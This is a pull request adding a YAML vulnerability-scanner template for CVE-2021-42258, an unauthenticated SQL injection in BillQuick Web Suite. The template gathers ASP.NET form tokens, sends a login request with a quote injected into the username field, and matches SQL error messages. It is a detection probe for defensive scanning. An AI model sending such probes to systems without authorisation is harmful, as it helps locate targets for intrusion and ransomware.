Merge pull request #2997 from dwisiswant0/add/CVE-2021-42258

Add CVE-2021-42258

cves/2021/CVE-2021-42258.yaml

@@ -0,0 +1,64 @@
+id: CVE-2021-42258
+
+info:
+  name: BillQuick Web Suite SQLi
+  author: dwisiswant0
+  severity: high
+  tags: cve,cve2021,sqli,billquick
+  description: |
+    BQE BillQuick Web Suite 2018 through 2021 before 22.0.9.1
+    allows SQL injection for unauthenticated remote code execution,
+    as exploited in the wild in October 2021 for ransomware installation.
+    SQL injection can, for example, use the txtID (aka username) parameter.
+    Successful exploitation can include the ability to execute
+    arbitrary code as MSSQLSERVER$ via xp_cmdshell.
+  reference:
+    - https://www.huntress.com/blog/threat-advisory-hackers-are-exploiting-a-vulnerability-in-popular-billing-software-to-deploy-ransomware
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-42258
+
+requests:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST / HTTP/1.1
+        Host: {{Hostname}}
+        Referer: {{BaseURL}}
+        Origin: {{RootURL}}
+        Content-Type: application/x-www-form-urlencoded
+
+        __EVENTTARGET=cmdOK&__EVENTARGUMENT=&__VIEWSTATE={{url_encode("§VS§")}}&__VIEWSTATEGENERATOR={{url_encode("§VSG§")}}&__EVENTVALIDATION={{url_encode("§EV§")}}&txtID=uname%27&txtPW=passwd&hdnClientDPI=96
+
+    cookie-reuse: true
+    extractors:
+      - type: xpath
+        name: VS
+        internal: true
+        attribute: value
+        xpath:
+          - "/html/body/form/div/input[@id='__VIEWSTATE']"
+
+      - type: xpath
+        name: VSG
+        internal: true
+        attribute: value
+        xpath:
+          - "/html/body/form/div/input[@id='__VIEWSTATEGENERATOR']"
+
+      - type: xpath
+        name: EV
+        internal: true
+        attribute: value
+        xpath:
+          - "/html/body/form/div/input[@id='__EVENTVALIDATION']"
+
+    matchers:
+      - type: word
+        part: body
+        condition: and
+        words:
+          - "System.Data.SqlClient.SqlException"
+          - "Incorrect syntax near"
+          - "_ACCOUNTLOCKED"